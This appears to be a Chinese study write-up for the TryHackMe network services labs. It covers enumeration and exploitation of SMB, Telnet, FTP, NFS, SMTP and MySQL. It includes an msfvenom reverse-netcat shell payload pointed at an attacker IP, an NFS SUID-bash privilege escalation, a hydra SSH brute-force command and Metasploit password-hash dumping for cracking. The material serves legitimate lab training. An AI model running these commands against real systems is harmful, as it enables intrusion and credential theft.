常见的网络服务的枚举和利用 | TryHackMe | Network services 1/2
常见的网络服务枚举和利用
主要讨论一些常见的网络服务漏洞和错误配置下,工具的利用
具体的实操可以到TryHackMe的network services和network services 2房间中进行尝试和利用
网络服务的枚举和利用
- 常见的网络服务枚举和利用
- SMB
- SMB 枚举
- enum4linux
- smbmap
- 利用 SMB
- Telnet
- 利用 Telnet
- FTP
- 利用
- NFS
- 枚举 NFS
- 挂载 NFS 共享
- 利用 NFS
- SMTP
- SMTP 的工作流程
- 枚举 SMTP
- 利用 SMTP
- MySQL
- 枚举 MySQL
- 利用 MySQL
SMB
SMB - 服务器消息块协议 - 是一种客户端-服务器通信协议,用于共享对网络上的文件、打印机、串行端口和其他资源的访问。
MB 协议被称为响应-请求协议,这意味着它在客户端和服务器之间传输多条消息以建立连接。客户端使用 TCP /IP(实际上是 NetBIOS )通过 TCP /IP(如 RFC1001 和 RFC1002 中指定)、NetBEUI 或 IPX/SPX。
建立连接后,客户端即可向服务器发送命令 (SMB),从而允许其访问共享资源、打开文件、读写文件,以及执行所有对文件系统的操作。不过,对于 SMB 来说,这些操作是通过网络完成的。
SMB 枚举
使用端口扫描可以扫描出端口 139 和 445
特性 | 端口 139 | 端口 445 |
---|---|---|
使用的协议层 | NetBIOS over TCP/IP | 直接 TCP |
是否依赖 NetBIOS | ✅ 是 | ❌ 否 |
SMB 版本支持 | SMBv1, 早期 SMBv2 | SMBv1/v2/v3 |
引入时间 | Windows NT 时代 | Windows 2000 起 |
安全性角度 | 更旧,风险更高 | 更现代,更易加固 |
enum4linux
使用 enum4linux 工具进行枚举
语法: enum4linux [options] ip
标签(参数) | 功能(中文) |
---|---|
-U | 获取用户列表 |
-M | 获取机器列表 |
-N | 获取名称列表转储(不同于 -U 和 -M) |
-S | 获取共享列表 |
-P | 获取密码策略信息 |
-G | 获取群组和成员列表 |
-a | 以上所有(完整基本枚举) |
smbmap
smbmap -H <目标IP> [选项]
参数 | 含义 |
---|---|
-H | 指定目标主机 |
-u | 用户名(可为空) |
-p | 密码(可为空) |
-d | 域名(可选) |
-P | 指定端口(默认445) |
-R | 递归列出目录 |
-r | 指定某个共享并列出其内容 |
--download | 下载文件 |
--upload | 上传文件 |
--delete | 删除文件 |
利用 SMB
使用 smbclient
smbclient //[IP]/[SHARE]
- -U [name] :指定用户
- -p [port] : 指定端口
Telnet
Telnet 是一种应用程序协议,它允许您使用 telnet 客户端连接到托管 telnet 服务器的远程计算机并在其上执行命令。后来多被 SSH 协议替代
默认使用 23 端口
利用 Telnet
Telnet 作为一种协议,由于使用明文,所以通常存在 CVE 漏洞
- https://www.cvedetails.com/
- https://cve.mitre.org/
使用 telnet [ip] [port]
来接到 telnet 服务器
连接之后发现可以执行任意命令
选择使用 msfconsole 生成木马,获得 shell
msfvenom -p cmd/unix/reverse_netcat lhost=10.13.74.121 lport=6767 R
FTP
文件传输协议 ( FTP ) 是一种用于通过网络远程传输文件的协议。它采用客户端-服务器模型,并且能够以非常高效的方式传递命令和数据
默认使用两个端口,20(控制连接),21(数据连接,仅在主动模式)
典型的 FTP 会话使用两个通道运行:
- 命令(控制)通道
- 数据通道
FTP 服务器支持主动连接或被动连接
- 在主动 FTP 连接中,客户端打开一个端口并进行监听。服务器需要主动连接到该端口。
- 在被动 FTP 中 连接时,服务器打开一个端口并(被动)监听,并且 客户端连接到它。
利用
ftp 192.168.1.100
Name (192.168.1.100:youruser): anonymous
Password: <直接回车>
替代枚举方法
一些易受攻击的 in.ftpd 版本和其他一些 FTP 服务器变体对“cwd”命令返回不同的响应 哪些主目录存在,哪些不存在。由于你可以在身份验证之前发出 cwd 命令,因此可以利用这一点,而如果存在主目录,则很可能存在与之关联的用户帐户。虽然此漏洞主要存在于旧版系统中,但作为一种利用 FTP 漏洞的方法,它仍然值得了解。
https://www.exploit-db.com/exploits/20745
ftp中间人攻击
可以使用 ftp 进行爆破密码,从而进行登录 ftp
NFS
NFS 代表“网络文件系统”,允许系统通过网络与其他系统共享目录和文件。通过使用 NFS,用户和程序可以像访问本地文件一样访问远程系统上的文件。它通过在服务器上挂载文件系统的全部或部分来实现这一点。客户端可以使用分配给每个文件的权限访问已挂载的文件系统部分。
首先,客户端会请求将远程主机上的目录挂载到本地目录上,就像挂载物理设备一样。然后,挂载服务会使用 RPC 连接到相关的挂载守护进程。
服务器会检查用户是否有权挂载所请求的目录。然后,服务器将返回一个文件句柄,该句柄唯一地标识服务器上的每个文件和目录。
如果想要通过 NFS 访问文件,就会向服务器上的 NFSD(NFS 守护进程)发出一个 RPC 调用,调用包含以下参数
- 文件句柄 file handle
- 要访问的文件名称
- 用户 ID
- 用户组 ID
使用 NFS 协议,可以在 Windows 和其他非 Windows 系统中传输文件
枚举 NFS
nfs-common
,它包含以下程序:lockd、statd、showmount、nfsstat、gssd、idmapd 和 mount.nfs。我们主要关注“showmount”和“mount.nfs”,因为它们在从 NFS 共享中提取信息时非常有用。
使用 showmount -e IP
查看可以使用的共享
挂载 NFS 共享
sudo mount -t nfs IP:share /tmp/mount/ -nolock
标签(Tag) | 功能说明(Function) |
---|---|
sudo | 以 root 身份运行 |
mount (挂载) | 执行挂载命令 |
-t nfs | 指定挂载的设备类型为 NFS |
IP:share | NFS 服务器的 IP 地址,以及要挂载的共享名称 |
-nolock | 指定不使用 NLM(网络锁管理器)锁定机制 |
利用 NFS
利用 NFS 上传 suid 文件来实现权限提升,具体要取决于配置方式
默认情况下,在 NFS 共享上,Root Squashing 功能处于启用状态,阻止任何连接到 NFS 共享的用户获得 NFS 卷的 root 访问权限。远程 root 用户在连接时会被分配一个“nfsnobody”用户,该用户拥有最低的本地权限。这并非我们想要的。但是,如果关闭此功能,它可能会允许创建 SUID 位文件,从而允许远程用户以 root 权限访问连接的系统。
可以通过查看 /etc/exports
文件来看配置是否开启
scp -i key_name username@10.10.197.144:/bin/bash ~/Downloads/bash
下载一个 bash 文件到本地
这次的提权手法:
NFS 访问 => 获得低权限 shell => 将 Bash 可执行文件上传到 NFS 共享 => 由于 Root Squashing 配置错误,通过 NFS 设置 SUID 权限 => 通过 SSH 登录 => 利用 suid 文件提权
#设置SUID位
sudo chmod +s bash
#修改用户为root
sudo chown root bash
SMTP
SMTP 代表“简单邮件传输协议”。它用于处理电子邮件的发送。为了支持电子邮件服务,需要一对协议,即 SMTP 和 POP/ IMAP 。它们分别允许用户发送邮件和接收邮件。
默认的 SMTP 端口是 25
SMTP 服务器执行三项基本功能:
- 验证谁通过 SMTP 服务器发送电子邮件
- 发送外发邮件
- 无法发送外发邮件会把邮件发回发件人
POP(邮局协议)和 IMAP (互联网消息访问协议)都是电子邮件协议,负责在客户端和邮件服务器之间传输电子邮件。主要区别在于 POP 的流程更简单,它会将收件箱中的邮件从邮件服务器下载到客户端。而 IMAP 会同步当前收件箱和服务器上的新邮件,并下载所有新邮件。这意味着,如果您在另一台计算机上同步收件箱,通过 IMAP 对收件箱所做的更改将会保留。POP/ IMAP 服务器负责完成此过程。
SMTP 的工作流程
- 邮件用户代理(可以是您的电子邮件客户端或外部程序)连接到您域名的 SMTP 服务器,例如 smtp.google.com 。这将启动 SMTP handshake。此连接通过 SMTP 端口(通常为 25)进行。建立并验证这些连接后, SMTP 会话将启动。
- 客户端首先向服务器提交发件人和收件人的电子邮件地址、邮件正文以及所有附件。
- 然后 SMTP 服务器检查收件人和发件人的域名是否相同。
- 发件人的 SMTP 服务器会在转发邮件之前连接到收件人的 SMTP 服务器。如果收件人的服务器无法访问或不可用,邮件就会被放入 SMTP 队列。
- 然后,收件人的 SMTP 服务器将验证收到的电子邮件。它会检查域名和用户名是否被识别。然后,服务器会将电子邮件转发到 POP 或 IMAP 服务器,如上图所示。
- 最后电子邮件显示在收件人的收件箱中
枚举 SMTP
枚举服务器详细信息
MetaSploit 中的“ smtp_version ”模块来实现这一点
从 SMTP 枚举用户
MetaSploit 的模块"smtp_enum"可以实现
替代方法
可以使用 smtp-user-enum
工具来替代
- VRFY 是验证单个用户是否存在
- EXPN 是展开一个邮件组或者别名
利用 SMTP
拿到用户名和邮件服务器类型和操作系统后
可以尝试使用 ssh 连接,使用 hydra 进行 ssh 爆破
hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV 10.10.220.77 ssh
MySQL
MySQL 是一个基于结构化查询语言 ( SQL ) 的关系数据库管理系统 (RDBMS)
Database: 数据库只是一个持久的、有组织的结构化数据集合
关系数据库管理系统 (RDBMS): 用于创建和管理基于关系模型的数据库的软件或服务。“关系”一词仅指存储在数据集中的数据以表的形式组织。每个表都以某种方式与其他表的“主键”或其他“关键”因素相关联。
枚举 MySQL
通常,你会通过枚举其他服务获得一些初始凭证,然后可以使用它们来枚举和利用 MySQL 服务。比如,你如果尝试 ssh 登录失败,就可以尝试 MySQL 登录
使用 mysql -h [ip] -u [username] -p
连接
使用 matesploit 来进行枚举
**mysql_sql**
来使用 sql 语句
利用 MySQL
架构:在 MySQL 中,模式 (schema) 在物理上与数据库 (database) 同义。您可以在 MySQL SQL 语法中用关键字“SCHEMA”代替 DATABASE,例如,使用 CREATE SCHEMA 代替 CREATE DATABASE。理解这种关系非常重要,因为其他一些数据库产品对此有所区分。例如,在 Oracle 数据库产品中, 模式仅代表数据库的一部分:单个用户拥有的表和其他对象。
哈希值:在 MySQL 中,哈希值有多种使用方式,例如将数据索引到哈希表中。每个哈希值都有一个唯一的 ID,用作指向原始数据的指针。这会创建一个比原始数据小得多的索引,从而更高效地搜索和访问值。我们要提取的是密码哈希,是一种存储密码的方式
还是使用 metasploit 进行利用
**mysql_schemadump**
模块,用于显示数据库的架构,就是里面所有的数据库和数据表
**mysql_hashdump**
模块来枚举所有的密码哈希
这里看到 carl 用户不是数据库中默认用户,把他的用户名和哈希复制下来,尝试使用 john 进行破解